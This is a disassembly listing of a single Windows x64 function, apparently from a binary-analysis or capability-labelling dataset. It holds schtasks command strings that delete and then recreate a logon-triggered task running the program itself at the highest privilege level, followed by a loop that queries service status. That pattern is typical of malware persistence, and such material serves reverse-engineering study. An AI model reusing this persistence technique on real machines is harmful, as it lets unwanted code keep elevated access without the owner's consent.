Function at 0x1400156e0
Capabilities:
Encode data using base64
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x270]
sub rsp, 0x370
mov rax, qword [0x1400790c0]
xor rax, rsp
mov qword [rbp + 0x260], rax
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x50]
call fcn.140041f10
mov r8d, 0x104
lea rdx, [rbp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xor r12d, r12d
mov qword [rbp - 0x28], r12
mov qword [rbp - 0x20], r12
mov r8d, eax
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x38]
call fcn.1400174b0
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rdx, qword [rbp - 0x38]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
mov r8, qword [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.1400174b0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.140011df0
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140016200
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x1400157e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400157e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dc3
call fcn.140028a90
movdqa xmm0, xmmword [0x14006fb20]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r12w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14001583e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015839
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dc3
call fcn.140028a90
lea rax, str.schtasks__delete__tn_____f
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0x1c
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x50], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x68], xmm0
movabs rbx, 0xc000000000000000
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x28]
call fcn.140017f70
lea rax, str.schtasks__create__tn_____sc_ONLOGON__tr_____rl_HIGHEST__f
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x3d
lea rax, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rax, qword [rbp - 0x58]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rbx
lea rax, [rbp - 0x38]
cmp qword [rbp - 0x20], 7
cmova rax, qword [rbp - 0x38]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbp - 0x80], xmm0
movabs rax, 0xc000000000000010
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x30], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 8]
call fcn.140017f70
mov edx, 0x3a98
lea rcx, [rbp + 0x28]
call fcn.140014ec0
mov edx, 0x3a98
lea rcx, [rbp + 8]
call fcn.140014ec0
lea rcx, [rsp + 0x50]
call fcn.140011980
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x50], rax
movabs r8, 0x7ffffff45bc48bff
cmp rax, r8
je 0x1400159d8
mov ecx, 1
mov edx, 0xff
cmovl ecx, edx
test cl, cl
jns 0x1400159d8
movabs rcx, 0xba43b7400
add rcx, rax
mov qword [rsp + 0x50], rcx
jmp 0x1400159e7
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
call fcn.140018170
lea rax, str.WindowsSystem32
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x12
lea rax, [0x14007c0b0]
cmp qword [0x14007c0c8], 7
cmova rax, qword [0x14007c0b0]
mov qword [rsp + 0x30], rax
mov rax, qword [0x14007c0c0]
mov qword [rsp + 0x38], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm1
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x18]
call fcn.140017f70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x60]
call fcn.1400146c0
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.1400144c0
lea rcx, [rsp + 0x60]
call fcn.140015fe0
mov rdi, qword [rbp - 0x70]
mov r15, qword [rbp - 0x68]
cmp rdi, r15
je 0x140015b6e
nop dword [rax + rax]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rsi, rax
test rax, rax
je 0x140015b61
mov rdx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140015ae9
mov rdx, qword [rdi]
mov r8d, 4
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r14, rax
test rax, rax
jne 0x140015b0b
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x140015b61
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], eax
mov dword [rsp + 0x50], r12d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9d, 0x24
lea r8, [rsp + 0x60]
xor edx, edx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov ebx, eax
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x140015b61
cmp dword [rsp + 0x64], 4
je 0x140015b73
add rdi, 0x60
cmp rdi, r15
jne 0x140015ac0
call fcn.140015110
mov rbx, qword [rbp - 0x70]
test rbx, rbx
je 0x140015c08
mov rdi, qword [rbp - 0x68]
cmp rbx, rdi
je 0x140015ba5
nop dword [rax]
mov rcx, rbx
call fcn.140014db0
add rbx, 0x60
cmp rbx, rdi
jne 0x140015b90
mov rbx, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x60]
sub rcx, rbx
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 5
mov rax, rbx
cmp rdx, 0x1000
jb 0x140015bf4
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
mov rcx, rbx
call fcn.140028a90
mov qword [rbp - 0x70], r12
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov rdx, qword [rbp]
cmp rdx, 7
jbe 0x140015c48
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
call fcn.140028a90
movdqa xmm0, xmmword [0x14006fb20]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r12w
mov rdx, qword [rbp + 0x20]
cmp rdx, 7
jbe 0x140015ca2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015c95
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
call fcn.140028a90
movdqa xmm0, xmmword [0x14006fb20]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r12w
mov rdx, qword [rbp + 0x40]
cmp rdx, 7
jbe 0x140015cf4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015ce7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
call fcn.140028a90
movdqa xmm0, xmmword [0x14006fb20]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r12w
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140015d3e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015d39
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
call fcn.140028a90
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 7
mov word [rbp - 0x58], r12w
mov rdx, qword [rbp - 0x20]
cmp rdx, 7
jbe 0x140015d8b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015d86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015dbd
call fcn.140028a90
xor eax, eax
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.140028a70
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.1400306e8
int3
call fcn.1400306e8
int3